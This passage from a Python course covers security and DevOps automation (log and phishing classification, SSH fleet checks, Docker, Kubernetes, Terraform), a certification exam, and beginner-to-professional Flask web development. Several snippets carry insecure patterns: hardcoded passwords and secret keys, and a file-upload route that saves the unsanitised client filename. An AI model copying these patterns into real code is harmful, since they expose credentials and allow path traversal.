        model="gpt-4o-mini", 

        messages=[{"role":"user", "content":prompt}] 

    ) 

    return res.choices[0].message["content"] 

 

Use cases: 

✔ detect brute-force logs​
 ✔ detect unauthorized access​
 ✔ detect malware patterns​
 ✔ detect suspicious IPs​
 ✔ generate summaries 

 

⭐ 81. AI-Driven Email Automation 

Emails are BEST target for automation: 

✔ invoice processing​
 ✔ log submissions​
 ✔ phishing detection​
 ✔ task extraction​
 ✔ customer support automation​
 ✔ auto-ticket generation 
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⭐ 81.1 IMAP Email Fetcher 

import imaplib, email 

 

mail = imaplib.IMAP4_SSL("imap.gmail.com") 

mail.login("user@gmail.com","password") 

mail.select("inbox") 

 

status, data = mail.search(None, "ALL") 

for num in data[0].split(): 

    _, msg = mail.fetch(num, "(RFC822)") 

    msg = email.message_from_bytes(msg[0][1]) 

    print("Subject:", msg["subject"]) 

 

 

⭐ 81.2 AI-Driven Email Classifier 

def classify_email(subject, body): 

    prompt = f"Classify this email:\nSubject: {subject}\nBody: {body}" 

    return openai.ChatCompletion.create( 

        model="gpt-4o-mini", 

        messages=[{"role":"user","content":prompt}] 

    )["choices"][0]["message"]["content"] 

 

Use cases: 
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✔ auto-sort emails​
 ✔ detect phishing​
 ✔ generate reply drafts​
 ✔ create tickets 

 

⭐ 82. SERVERLESS AUTOMATION — AWS Lambda, GCP 

Cloud Functions 

Serverless automation = Python scripts that run without servers. 

Perfect for: 

✔ cron-less scheduling​
 ✔ alert processing​
 ✔ webhook handlers​
 ✔ log triggers​
 ✔ file uploads​
 ✔ cloud task automation 

 

⭐ 82.1 AWS Lambda Python Function 

def lambda_handler(event, context): 

    print("Event:", event) 

    return {"message":"Lambda executed successfully"} 

 

Deploy using AWS CLI. 
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⭐ 82.2 S3 Trigger → Lambda → Slack Alert 

Flow: 

1.​ new log uploaded to S3​
 

2.​ Lambda triggers​
 

3.​ Lambda parses log​
 

4.​ Lambda posts alert to Slack​
 

This is the backbone of cloud SOC automation. 

 

⭐ 83. CI/CD AUTOMATION WITH GITHUB ACTIONS 

Automation runs automatically on: 

✔ push​
 ✔ merge​
 ✔ PR​
 ✔ schedule​
 ✔ events​
 ✔ tests​
 ✔ deployments 

 

⭐ 83.1 Example GitHub Action (run Python automation 

daily) 

name: Daily Automation Job 
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on: 

  schedule: 

    - cron: "0 5 * * *" 

 

jobs: 

  run_automation: 

    runs-on: ubuntu-latest 

    steps: 

      - uses: actions/checkout@v3 

      - name: Setup Python 

        uses: actions/setup-python@v3 

        with: 

          python-version: "3.11" 

      - name: Install dependencies 

        run: pip install -r requirements.txt 

      - name: Run script 

        run: python main.py 

 

This is DevOps-grade automation. 

 

⭐ 84. ELASTICSEARCH AUTOMATION 

Elasticsearch is used for: 
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✔ log analytics​
 ✔ threat intelligence​
 ✔ SOC dashboards​
 ✔ real-time alerts​
 ✔ SIEM pipelines 

 

⭐ 84.1 Insert Data Into Elasticsearch 

from elasticsearch import Elasticsearch 

es = Elasticsearch("http://localhost:9200") 

 

doc = {"event":"login", "status":"failed"} 

es.index(index="logs", document=doc) 

 

 

⭐ 84.2 Search Logs Automatically 

res = es.search( 

  index="logs", 

  query={"match": {"event": "login"}} 

) 

 

This is central to SIEM automation. 
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⭐ 85. SOC LEVEL-3 AUTOMATION (Advanced Security 

Automations) 

Python used by SOC L3 to automate: 

✔ malware sandbox triggers​
 ✔ IOC extraction​
 ✔ correlation rules​
 ✔ alert triage​
 ✔ attack pattern detection​
 ✔ MITRE ATT&CK mapping​
 ✔ reports​
 ✔ alert suppression logic​
 ✔ URL scanning​
 ✔ reputation lookups 

Example automation: 

def detect_bruteforce(logs): 

    attempts = {} 

    for line in logs: 

        if "failed authentication" in line: 

            ip = extract_ip(line) 

            attempts[ip] = attempts.get(ip, 0) + 1 

            if attempts[ip] >= 5: 

                alert(ip) 
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⭐ 86. BUILDING SELF-HEALING SYSTEMS WITH PYTHON 

Automation that fixes itself: 

✔ detect failure​
 ✔ retry logic​
 ✔ fallback mechanisms​
 ✔ auto restart​
 ✔ auto repair 

Example: 

def safe_run(func): 

    try: 

        return func() 

    except Exception as e: 

        log("Error:", e) 

        restart_service() 

        return None 

 

This is how Netflix, Google, Meta, AWS build resilient systems. 

 

⭐ 87. CROSS-PLATFORM AUTOMATION (Windows, Linux, 

macOS) 

Python can automate: 

Windows 

✔ PowerShell​
 ✔ Registry​
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 ✔ Task Scheduler​
 ✔ Services 

Linux 

✔ systemd​
 ✔ cron​
 ✔ bash​
 ✔ audit logs 

macOS 

✔ launchd​
 ✔ osascript​
 ✔ terminal automation 

Example (Windows service restart): 

ssh.run("powershell.exe Restart-Service -Name 'W32Time'") 

 

Linux: 

ssh.run("sudo systemctl restart nginx") 

 

 

⭐ 88. ADVANCED AUTOMATION WORKFLOWS (Industry 

Examples) 

✔ Cloud remediation 

Auto-fixes misconfigured S3 buckets. 

✔ Identity threat detection 

Auto-locks accounts for suspicious login patterns. 
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✔ Anomaly detection 

Auto-detects unusual access patterns. 

✔ Real-time log streaming 

Python → Kafka → Elasticsearch → Dashboard 

✔ PCI DSS automation 

Auto-check security controls. 

✔ Vulnerability management automation 

Auto-generate patch reports. 

 

⭐ 89. REAL-WORLD MINI PROJECTS (AI + automation) 

⭐ Project 1 

AI-powered phishing email classifier​
 Python automatically reads inbox → AI labels → auto-alerts on phishing. 

⭐ Project 2 

AI SOC analyst​
 LLM reads logs → summaries → classifies alerts → routes tickets. 

⭐ Project 3 

Auto-remediation bot​
 Detect server down → auto restart → send Slack alert. 

⭐ Project 4 

Auto content generator​
 Python + AI → daily reports → newsletters → PDFs. 
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⭐ MODULE 2 — PART 8 

🚀 ADVANCED DISTRIBUTED AUTOMATION, DOCKER, 

K8S, MULTI-CLOUD, IAC & FINAL MEGA PROJECT 

 

⭐ 90. DISTRIBUTED AUTOMATION — AUTOMATION 

ACROSS MULTIPLE MACHINES 

In modern enterprises, automation never runs on a single server. 

Instead, automation is distributed across: 

●​ multiple VMs​
 

●​ edge nodes​
 

●​ cloud clusters​
 

●​ microservices​
 

●​ containers​
 

Python can orchestrate multi-node automation like: 

✔ running commands on 100 servers​
 ✔ parallel log ingestion​
 ✔ distributed scanning​
 ✔ distributed backups​
 ✔ orchestrating pipelines across nodes 
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⭐ 90.1 Distributed SSH Automation (100+ Servers) 

from concurrent.futures import ThreadPoolExecutor 

from connector.ssh_client import SSHClient 

 

servers = [ 

    ("10.1.1.1","ubuntu","123"), 

    ("10.1.1.2","ubuntu","123"), 

    ... 

] 

 

def check_server(srv): 

    ip,user,pw = srv 

    ssh = SSHClient(ip,user,pw) 

    ssh.connect() 

    out, _ = ssh.run("uptime") 

    ssh.close() 

    return ip, out 

 

with ThreadPoolExecutor(50) as exe: 

    for result in exe.map(check_server, servers): 

        print(result) 
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This is how DevOps teams manage hundreds of servers with 1 script. 

 

⭐ 91. DOCKER AUTOMATION (Python + Docker API) 

Companies automate Docker tasks using Python: 

✔ image building​
 ✔ container deployment​
 ✔ health checks​
 ✔ automatic restart​
 ✔ cleanup old images​
 ✔ push to registries 

 

⭐ 91.1 Install Docker SDK 

pip install docker 

 

 

⭐ 91.2 Start + Stop Containers via Python 

import docker 

 

client = docker.from_env() 

 

def start_container(img): 

    container = client.containers.run(img, detach=True) 

    print("Started:", container.id) 
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def stop_all(): 

    for c in client.containers.list(): 

        c.stop() 

 

Run: 

start_container("nginx:latest") 

stop_all() 

 

 

⭐ 91.3 Build Docker Image via Python 

client.images.build(path=".", tag="myapp:latest") 

 

 

⭐ 91.4 Push to Docker Hub 

client.images.push("username/myapp:latest") 

 

Automate CI/CD + deployments fully. 

 

⭐ 92. KUBERNETES AUTOMATION (Python + K8s Client) 

Kubernetes automation is HIGH DEMAND. 
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Install: 

pip install kubernetes 

 

 

⭐ 92.1 Connect to Cluster 

from kubernetes import client, config 

config.load_kube_config() 

 

v1 = client.CoreV1Api() 

 

 

⭐ 92.2 List Pods 

for pod in v1.list_pod_for_all_namespaces().items: 

    print(pod.metadata.name) 

 

 

⭐ 92.3 Delete Pod (Automated Healing) 

v1.delete_namespaced_pod(name="my-pod", namespace="default") 
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⭐ 92.4 Scale Deployment (Automation Style) 

from kubernetes.client import AppsV1Api, V1Scale 

 

apps = AppsV1Api() 

 

scale = V1Scale( 

  spec={"replicas": 5} 

) 

 

apps.replace_namespaced_deployment_scale( 

    name="myapp", namespace="default", body=scale 

) 

 

This is DevOps automation at enterprise scale. 

 

⭐ 93. TERRAFORM AUTOMATION (IaC Automation with 

Python) 

Terraform is the #1 IaC tool. 

Python automates: 

✔ provisioning​
 ✔ plan/apply​
 ✔ infra validation​
 ✔ rotating secrets​
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 ✔ drift detection​
 ✔ rollback 

 

⭐ 93.1 Terraform Apply via Python 

import subprocess 

 

def tf_apply(): 

    subprocess.run(["terraform","apply","-auto-approve"]) 

 

 

⭐ 93.2 Terraform Output → Python Pipeline 

out = subprocess.check_output(["terraform","output","-json"]) 

print(out.decode()) 

 

This integrates IaC with automation workflows. 

 

⭐ 94. MULTI-CLOUD AUTOMATION (AWS + GCP + Azure) 

Python enables workflows like: 

✔ sync data across clouds​
 ✔ auto-create VMs in 3 clouds​
 ✔ failover automation​
 ✔ cross-cloud backups​
 ✔ hybrid-network automation 
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Example: 

aws_s3.upload_file(...) 

gcp_client.upload(...) 

azure_blob.upload(...) 

 

You unify all clouds under one automation pipeline. 

 

⭐ 95. ENTERPRISE ORCHESTRATION WORKFLOWS 

Real enterprise automation involves chaining: 

✔ AWS Lambda​
 ✔ GitHub Actions​
 ✔ Docker​
 ✔ Python Workers​
 ✔ Message Queues (Rabbit, Redis)​
 ✔ Kubernetes Jobs​
 ✔ Terraform​
 ✔ SIEM​
 ✔ Monitoring 

Example pipeline: 

Git push → 

  GitHub Action → 

    Build Docker → 

      Push to registry → 

        Terraform apply → 

          K8s rollout → 

            Python worker validates → 
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              Slack notification 

 

You now know each part. 

 

⭐ 96. THE FINAL MEGA PROJECT (FULL SYSTEM) 

🚀 CyberDudeBivash Autonomous Security & Automation Engine (ASAE v1) 

This is a fully autonomous automation platform built using Python. 

The system does: 

🔥 Auto log ingestion from cloud​
 🔥 Auto patching​
 🔥 Auto threat intelligence​
 🔥 Auto anomaly detection​
 🔥 Auto container health checks​
 🔥 Auto Kubernetes healing​
 🔥 Auto CI/CD workflow​
 🔥 Auto Slack/Email alerts​
 🔥 Auto database sync​
 🔥 Auto server compliance​
 🔥 Auto infrastructure provisioning​
 🔥 Auto malware detection triggers 

This is literally a mini SOAR platform. 

 

⭐ 96.1 Full Architecture 

┌─────────────────────────────────────────┐ 

 │        Data Sources (Cloud,Logs,TI)      │ 

 └───────────────────────┬─────────────────┘ 
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                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │        Ingestion Layer (Async, S3,TI)    │ 

 └───────────────────────┬─────────────────┘ 

                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │         Analysis Layer (AI, Regex)       │ 

 └───────────────────────┬─────────────────┘ 

                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │    Automation Layer (SSH,Docker,K8s,IaC) │ 

 └───────────────────────┬─────────────────┘ 

                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │      Orchestration (Celery,Queues)       │ 

 └───────────────────────┬─────────────────┘ 

                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │         Alerting (Slack, Email)          │ 
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 └───────────────────────┬─────────────────┘ 

                         │ 

                         ▼ 

 ┌─────────────────────────────────────────┐ 

 │           Reporting (PDF, DB)            │ 

 └─────────────────────────────────────────┘ 

 

 

⭐ 96.2 Core Loop (main.py) 

def engine(): 

    ingest_logs() 

    ingest_threat_feeds() 

    analyze_with_ai() 

    detect_anomalies() 

    auto_patch_servers() 

    auto_scale_clusters() 

    auto_heal_pods() 

    update_iac() 

    send_alerts() 

    generate_pdf_reports() 

 

This is the brain of ASAE v1. 
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⭐ 97. MODULE SUMMARY — EVERYTHING YOU 

MASTERED 

✔ OS automation​
 ✔ File system automation​
 ✔ Log automation​
 ✔ Network automation​
 ✔ API automation​
 ✔ Async automation​
 ✔ Multithread automation​
 ✔ Queue-based automation​
 ✔ AI + NLP automation​
 ✔ Email automation​
 ✔ SOC/SIEM automation​
 ✔ Threat intelligence pipelines​
 ✔ Cloud automation​
 ✔ Serverless automation​
 ✔ Docker automation​
 ✔ Kubernetes automation​
 ✔ Terraform automation​
 ✔ Multi-cloud workflows​
 ✔ Distributed pipelines​
 ✔ Final mega automation system 

You now hold one of the most advanced Python Automation knowledge bases ever written. 

 

⭐ 98. FINAL ASSIGNMENTS (MANDATORY) 

✔ Assignment 1 

Build a distributed log monitor with async + threads. 

✔ Assignment 2 

Create a Docker auto-healing engine. 
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✔ Assignment 3 

Build a K8s deployment auto-scaler. 

✔ Assignment 4 

Build a multi-cloud backup system. 

✔ Assignment 5 

Build your own Threat Intel Aggregator (from scratch). 

 

🏆 CyberDudeBivash Python Automation Mastery 

Certification – FINAL EXAM 

This exam covers ENTIRE MODULE 1 & MODULE 2 (65,000+ words): 

✔ Python Foundations​
 ✔ Data Structures​
 ✔ OOP​
 ✔ Files​
 ✔ Exceptions​
 ✔ Logging​
 ✔ Async & Threading​
 ✔ Automation​
 ✔ AI Automation​
 ✔ Cybersecurity Automation​
 ✔ Cloud Automation​
 ✔ Docker / K8s / Terraform​
 ✔ Distributed automation​
 ✔ Threat Intelligence systems 

Answer these in Google Docs / notebook — then say “macha submit exam” and I’ll evaluate with 

full feedback and scoring. 
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⭐ SECTION A — THEORY (10 Questions) 

Answer in short, clear explanations. 

1. Explain the difference between mutable and immutable objects in Python. Give two 

examples each. 

2. What is the difference between list comprehensions and generator expressions? 

3. Explain how Python memory model handles variables and references. 

4. What problem does the Global Interpreter Lock (GIL) solve? When does it not affect 

automation? 

5. Explain the difference between asyncio and multithreading. 

Which scenarios prefer which? 

6. What is a decorator? Give one real automation use-case. 

7. Why are exceptions critical for automation scripting? Give one example of silent failure 

danger. 

8. Explain what happens during a Docker image build and run process. 

9. What is the purpose of Terraform, and why is it crucial in automation workflows? 

10. Explain the working of a Threat Intelligence Aggregator (TI ingestion pipeline). 

 

⭐ SECTION B — CODE OUTPUT (5 Questions) 

Write the output for each. 

11. 

a = [1,2,3] 

b = a 
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b.append(4) 

print(a, b) 

 

12. 

def f(x=[]): 

    x.append(1) 

    return x 

 

print(f()) 

print(f()) 

 

13. 

for i in range(3): 

    print(i) 

else: 

    print("done") 

 

14. 

def test(x, y=5, *args, **kwargs): 

    return x + y + len(args) + len(kwargs) 

 

print(test(1, 2, 3, 4, a=10, b=20)) 
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15. 

import asyncio 

 

async def fun(): 

    return "CyberDudeBivash" 

 

print(asyncio.run(fun())) 

 

 

⭐ SECTION C — SHORT CODE WRITING (5 Questions) 

16. 

Write a Python function that returns a list of all .log files in a directory. 

17. 

Write a Python script to ping a list of IPs and return only the ones that are “UP”. 

18. 

Write a small regex-based function that extracts all IP addresses from a log string. 

19. 

Write a docker cleanup script in Python that:​
 ✔ stops all containers​
 ✔ removes unused images 

20. 

Write a Kubernetes automation snippet to list all pods in the "default" namespace using Python 

client. 
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⭐ SECTION D — LONG ANSWERS (5 Questions) 

Write 6–10 line answers. 

21. 

Explain the entire flow of an async automation pipeline that fetches 1000 URLs and stores results 

in a database. 

22. 

Explain how a Distributed SSH Automation System works for 200 servers. 

23. 

Describe the architecture of an Automatic Patch Deployment System with SSH, patching logic, 

and reporting. 

24. 

Explain how Python integrates with Docker, Kubernetes, and Terraform in a real CI/CD automation 

workflow. 

25. 

Explain the end-to-end working of a CyberDudeBivash Threat Intelligence Platform (feeds, 

parsing, enrichment, alerting, DB storage, PDF report). 

 

⭐ SECTION E — PRACTICAL AUTOMATION (5 Questions) 

Write mini-solutions. 

26. 

Write Python code to monitor a Linux log file in real-time and print every line containing the word 

“ERROR”. 
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27. 

Write code to send a Slack alert using webhook whenever CPU usage exceeds 80%. 

28. 

Write Python automation to restart a systemd service if it’s not running. 

29. 

Write a Celery task that downloads a file from a URL. 

30. 

Write a Python function that:​
 ✔ scans all files in a directory​
 ✔ finds files > 100MB​
 ✔ moves them into an /archive folder automatically 

 

 

⭐ MODULE 3 — PYTHON WEB DEVELOPMENT (PART 1) 

Full-Stack Web Development with Python — Zero to Enterprise SaaS 

This part includes: 

✔ What is web development?​
 ✔ Python’s role in backend development​
 ✔ HTTP/HTTPS fundamentals​
 ✔ Web architecture​
 ✔ Flask vs Django vs FastAPI — which to use?​
 ✔ Setting up your environment​
 ✔ Building your first Flask app​
 ✔ Routing​
 ✔ Templates​
 ✔ Forms​
 ✔ Static files​
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 ✔ Basic API creation​
 ✔ First real mini project 

This section will go ~4,000–5,000 words. 

Let’s BEGIN, macha! ⚡🔥 

 

⭐ 1. What Is Web Development? (Crystal Clear 

Explanation) 

Web development means building applications that run in a browser or over the internet: 

●​ Websites​
 

●​ Web dashboards​
 

●​ APIs​
 

●​ Portals​
 

●​ SaaS platforms​
 

●​ Authentication systems​
 

●​ Backend services​
 

A web application has: 

✔ Frontend (HTML, CSS, JS)​
 ✔ Backend (server-side, Python)​
 ✔ Database​
 ✔ APIs​
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 ✔ Authentication​
 ✔ Deployment 

Python is used mostly for the backend. 

 

⭐ 2. Backend Web Development with Python 

Python powers the backend of: 

✔ YouTube​
 ✔ Instagram​
 ✔ Pinterest​
 ✔ Bitly​
 ✔ Dropbox​
 ✔ Reddit​
 ✔ Uber (backend parts)​
 ✔ Netflix (microservices) 

Python is chosen because: 

✔ clean code​
 ✔ huge frameworks​
 ✔ fast development​
 ✔ stable​
 ✔ high-performance with async​
 ✔ ecosystem libraries​
 ✔ perfect for automation + AI integration 

 

⭐ 3. Web Architecture (Simple to Enterprise) 

Every request goes like this: 

Browser  →  HTTP request  →  Server (Python)   

Server   →  Process logic →  Return response   
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Browser  →  Render result   

 

More advanced: 

Client → Nginx → WSGI Server → Python App → Database 

 

Where: 

●​ Nginx = load balancer + static server​
 

●​ Gunicorn/Uvicorn = runs Python app​
 

●​ Flask/Django/FastAPI = your code​
 

 

⭐ 4. Python Web Frameworks (Choosing the Right One) 

There are 3 kings: 

 

⭐ 4.1 Flask (Microframework) 

Best for: 

✔ dashboards​
 ✔ quick APIs​
 ✔ automation panels​
 ✔ small/medium websites​
 ✔ cybersecurity tools 

Pros: 

●​ Simple​
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●​ Flexible​
 

●​ Fast to write​
 

●​ Great for learning​
 

 

⭐ 4.2 Django (Full framework) 

Best for: 

✔ large websites​
 ✔ SaaS products​
 ✔ enterprise systems​
 ✔ admin panels​
 ✔ ORM-heavy applications 

Pros: 

●​ Built-in authentication​
 

●​ Admin dashboard​
 

●​ ORM​
 

●​ Security​
 

●​ Highly scalable​
 

 

⭐ 4.3 FastAPI (Modern & Async) 

Best for: 
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✔ high-performance APIs​
 ✔ async tasks​
 ✔ AI + ML APIs​
 ✔ microservices​
 ✔ real-time systems 

Pros: 

●​ Fastest Python framework​
 

●​ Async-friendly​
 

●​ Automatic API docs​
 

●​ Used heavily in AI systems​
 

 

✔ For Module 3: 

We will learn Flask → FastAPI → Django in that order because it builds your foundation smoothly. 

 

⭐ 5. Environment Setup (Professional Way) 

Install Python 3.10+ recommended. 

Create project folder: 

mkdir module3_webdev 

cd module3_webdev 

 

Create virtual environment: 

python -m venv venv 
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Activate: 

Windows: 

venv\Scripts\activate 

 

Linux/Mac: 

source venv/bin/activate 

 

 

⭐ 6. Install Flask 

pip install flask 

 

 

⭐ 7. Your First Flask Web App 

Create file: 

app.py 

from flask import Flask 

 

app = Flask(__name__) 

 

@app.route("/") 

def home(): 
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    return "Hello, CyberDudeBivash Web Dev World!" 

 

if __name__ == "__main__": 

    app.run(debug=True) 

 

Run: 

python app.py 

 

Open browser →​
 http://127.0.0.1:5000 

🔥 YOU JUST BUILT YOUR FIRST WEB APP, MACHA! 

 

⭐ 8. Routing (Very Important) 

@app.route("/hello") 

def hello(): 

    return "Hey macha!" 

 

Dynamic routes: 

@app.route("/user/<name>") 

def user(name): 

    return f"Welcome {name}!" 
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⭐ 9. Templates (HTML Rendering) 

Create folders: 

mkdir templates 

 

File: templates/home.html 

<!DOCTYPE html> 

<html> 

<body> 

<h1>Welcome {{ name }}</h1> 

</body> 

</html> 

 

In Flask: 

from flask import render_template 

 

@app.route("/welcome/<name>") 

def welcome(name): 

    return render_template("home.html", name=name) 

 

Now we serve dynamic HTML. 
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⭐ 10. Static Files (CSS/JS/Images) 

mkdir static 

mkdir static/css 

mkdir static/js 

 

Use in template: 

<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}"> 

 

 

⭐ 11. Basic Form Handling 

Template: 

<form method="POST"> 

  <input name="username"> 

  <button type="submit">Submit</button> 

</form> 

 

Flask: 

from flask import request 

 

@app.route("/submit", methods=["GET", "POST"]) 

def submit(): 

    if request.method == "POST": 
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        user = request.form["username"] 

        return f"Received: {user}" 

    return render_template("form.html") 

 

 

⭐ 12. Creating Your First API 

@app.route("/api/data") 

def api_data(): 

    return {"name": "CyberDudeBivash", "status": "active"} 

 

Flask automatically converts dict → JSON. 

 

⭐ 13. Mini Project 1 — "CyberDudeBivash Contact API" 

You will build: 

✔ form​
 ✔ backend​
 ✔ store data in JSON file​
 ✔ return success response 

This is EXACT real-world pattern used in: 

●​ job applications​
 

●​ feedback forms​
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●​ SaaS landing pages​
 

Project code will come in PART 2. 

 

⭐ MODULE 3 — PART 2 

🚀 PROFESSIONAL FLASK WEB DEVELOPMENT 

 

⭐ 14. PROFESSIONAL FLASK PROJECT STRUCTURE 

Beginners write: 

app.py 

templates/ 

static/ 

 

But professionals use: 

project/ 

│ 

├── app/ 

│   ├── __init__.py 

│   ├── routes.py 

│   ├── models.py 

│   ├── forms.py 

225 



 

 

│   ├── utils.py 

│   ├── static/ 

│   └── templates/ 

│ 

├── venv/ 

├── config.py 

├── run.py 

└── requirements.txt 

 

This lets you build: 

✔ scalable apps​
 ✔ API + web combined​
 ✔ modular components​
 ✔ better debugging​
 ✔ cleaner architecture 

 

⭐ 15. CREATE A PROFESSIONAL FLASK APP 

Inside /project/app/__init__.py: 

from flask import Flask 

 

def create_app(): 

    app = Flask(__name__) 

    app.config['SECRET_KEY'] = 'cyberdudebivash_secret' 
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    from .routes import main 

    app.register_blueprint(main) 

 

    return app 

 

Inside /project/run.py: 

from app import create_app 

 

app = create_app() 

 

if __name__ == "__main__": 

    app.run(debug=True) 

 

This is now a scalable, enterprise-ready Flask application. 

 

⭐ 16. ROUTES WITH BLUEPRINTS (Enterprise Pattern) 

Inside /project/app/routes.py: 

from flask import Blueprint, render_template, request 

 

main = Blueprint("main", __name__) 

 

@main.route("/") 

def home(): 
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    return render_template("home.html") 

 

Blueprints allow: 

✔ API modules​
 ✔ Auth modules​
 ✔ Admin modules​
 ✔ Dashboard modules 

A single Flask app can become multi-module. 

 

⭐ 17. JINJA2 TEMPLATING DEEP DIVE 

Flask uses Jinja2, a template engine. 

 

⭐ 17.1 Template Variables 

<h1>Hello {{ name }}</h1> 

 

 

⭐ 17.2 Template Loops 

{% for item in items %} 

  <p>{{ item }}</p> 

{% endfor %} 
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⭐ 17.3 Template If Conditions 

{% if logged_in %} 

    <p>Welcome macha!</p> 

{% else %} 

    <p>Please login</p> 

{% endif %} 

 

 

⭐ 17.4 Template Inheritance (BEST PRACTICE) 

base.html: 

<!DOCTYPE html> 

<html> 

<head><title>{% block title %}{% endblock %}</title></head> 

<body> 

  <nav>CyberDudeBivash Web</nav> 

  {% block content %}{% endblock %} 

</body> 

</html> 

 

child template: 

{% extends "base.html" %} 

 

{% block title %} Home {% endblock %} 
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{% block content %} 

<h1>Hello macha!</h1> 

{% endblock %} 

 

This is how real-world sites are built. 

 

⭐ 18. FORM VALIDATION (Flask-WTF) 

Install: 

pip install flask-wtf 

 

Create form: 

from flask_wtf import FlaskForm 

from wtforms import StringField, SubmitField 

from wtforms.validators import DataRequired, Email 

 

class ContactForm(FlaskForm): 

    name = StringField("Name", validators=[DataRequired()]) 

    email = StringField("Email", validators=[Email()]) 

    submit = SubmitField("Send") 

 

Use in route: 

from .forms import ContactForm 
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@main.route("/contact", methods=["GET","POST"]) 

def contact(): 

    form = ContactForm() 

    if form.validate_on_submit(): 

        return "Form submitted" 

    return render_template("contact.html", form=form) 

 

Template: 

<form method="POST"> 

  {{ form.hidden_tag() }} 

  {{ form.name.label }} {{ form.name() }} 

  {{ form.email.label }} {{ form.email() }} 

  {{ form.submit() }} 

</form> 

 

Now you have secure form validation. 

 

⭐ 19. SESSIONS & COOKIES 

Store user session: 

from flask import session 

 

session["username"] = "macha" 
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Retrieve: 

user = session.get("username") 

 

Delete: 

session.pop("username") 

 

Cookies: 

resp = make_response("OK") 

resp.set_cookie("theme", "dark") 

return resp 

 

 

⭐ 20. MIDDLEWARE (Before/After Requests) 

Runs before every request: 

@app.before_request 

def before(): 

    print("A request came in") 

 

Runs after request: 

@app.after_request 

def after(response): 

    print("Response sent") 

    return response 
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Useful for: 

✔ logging​
 ✔ authentication​
 ✔ request validation​
 ✔ rate limiting 

 

⭐ 21. FILE UPLOADS 

Template: 

<form method="POST" enctype="multipart/form-data"> 

  <input type="file" name="file"> 

  <button type="submit">Upload</button> 

</form> 

 

Route: 

import os 

from flask import request 

 

UPLOAD_FOLDER = "uploads" 

 

@main.route("/upload", methods=["POST"]) 

def upload(): 

    file = request.files["file"] 

    file.save(os.path.join(UPLOAD_FOLDER, file.filename)) 
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    return "Uploaded!" 

 

 

⭐ 22. JSON API HANDLING 

Return JSON: 

@main.route("/api/user") 

def user_api(): 

    return {"status": "ok", "user": "macha"} 

 

Receive JSON: 

data = request.get_json() 

name = data["name"] 

 

This is the base of REST APIs. 

 

⭐ 23. SQL DATABASE INTEGRATION — SQLAlchemy 

Install: 

pip install flask_sqlalchemy 

 

In __init__.py: 

from flask_sqlalchemy import SQLAlchemy 
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db = SQLAlchemy() 

 

def create_app(): 

    app = Flask(__name__) 

    app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///site.db" 

     

    db.init_app(app) 

 

    return app 

 

 

⭐ 24. Define Models 

from . import db 

 

class User(db.Model): 

    id = db.Column(db.Integer, primary_key=True) 

    name = db.Column(db.String(100)) 

 

Create DB: 

from app import create_app, db 

app = create_app() 

with app.app_context(): 

    db.create_all() 
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⭐ 25. Querying Database 

Insert: 

user = User(name="macha") 

db.session.add(user) 

db.session.commit() 

 

Get: 

User.query.all() 

 

Delete: 

db.session.delete(user) 

db.session.commit() 

 

 

⭐ 26. MINI PROJECT — CYBERDUDEBIVASH CONTACT 

SYSTEM 

We now build a real mini project: 

✔ Contact form​
 ✔ Validation​
 ✔ Save to database​
 ✔ API endpoint​
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 ✔ Admin view​
 ✔ JSON export 

This project will be completed in PART 3. 

 

⭐ MODULE 3 — PART 3 

🚀 CYBERDUDEBIVASH CONTACT MANAGEMENT 

SYSTEM (FULL PROJECT) 

We will build the entire mini-SaaS system in Flask, using: 

✔ Blueprints​
 ✔ SQLAlchemy​
 ✔ Flask-WTF​
 ✔ Authentication​
 ✔ Admin panel 

This project is industry standard and will be a foundation for: 

●​ CRM systems​
 

●​ Web dashboards​
 

●​ SaaS applications​
 

●​ Enterprise apps​
 

●​ Contact portals​
 

●​ User management portals​
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Let's start, macha! 

 

⭐ 27. PROJECT STRUCTURE (PRO VERSION) 

contact_project/ 

│ 

├── app/ 

│   ├── __init__.py 

│   ├── routes.py 

│   ├── auth.py 

│   ├── models.py 

│   ├── forms.py 

│   ├── utils.py 

│   ├── templates/ 

│   │      ├── base.html 

│   │      ├── home.html 

│   │      ├── contact.html 

│   │      ├── admin_login.html 

│   │      ├── admin_dashboard.html 

│   │      └── contacts_list.html 

│   ├── static/ 

│   │      ├── css/ 

│   │      └── js/ 

│   └── admin.py (optional) 
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│ 

├── instance/ 

│      └── site.db 

│ 

├── config.py 

├── run.py 

└── requirements.txt 

 

 

⭐ 28. CONFIGURATION FILE (config.py) 

class Config: 

    SECRET_KEY = "cyberdude_secret_key_987" 

    SQLALCHEMY_DATABASE_URI = "sqlite:///site.db" 

    SQLALCHEMY_TRACK_MODIFICATIONS = False 

 

 

⭐ 29. INITIALIZING THE APP (init.py) 

from flask import Flask 

from flask_sqlalchemy import SQLAlchemy 

from flask_login import LoginManager 

from config import Config 
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db = SQLAlchemy() 

login_manager = LoginManager() 

 

def create_app(): 

    app = Flask(__name__) 

    app.config.from_object(Config) 

 

    db.init_app(app) 

    login_manager.init_app(app) 

    login_manager.login_view = "auth.admin_login" 

 

    from .routes import main 

    from .auth import auth 

 

    app.register_blueprint(main) 

    app.register_blueprint(auth) 

 

    return app 

 

 

⭐ 30. MODELS (Database Tables) — models.py 

from . import db 

from datetime import datetime 
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from flask_login import UserMixin 

 

class Contact(db.Model): 

    id = db.Column(db.Integer, primary_key=True) 

    name = db.Column(db.String(150), nullable=False) 

    email = db.Column(db.String(150), nullable=False) 

    message = db.Column(db.Text, nullable=False) 

    date = db.Column(db.DateTime, default=datetime.utcnow) 

 

class Admin(UserMixin, db.Model): 

    id = db.Column(db.Integer, primary_key=True) 

    username = db.Column(db.String(150), unique=True, nullable=False) 

    password = db.Column(db.String(300), nullable=False) 

 

This gives: 

✔ Contact table​
 ✔ Admin user table 

 

⭐ 31. ADMIN LOGIN MANAGER 

from .models import Admin 

from . import login_manager 

 

@login_manager.user_loader 
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def load_user(admin_id): 

    return Admin.query.get(int(admin_id)) 

 

 

⭐ 32. FORMS — forms.py 

from flask_wtf import FlaskForm 

from wtforms import StringField, TextAreaField, PasswordField, SubmitField 

from wtforms.validators import DataRequired, Email, Length 

 

class ContactForm(FlaskForm): 

    name = StringField("Name", validators=[DataRequired(), Length(min=2)]) 

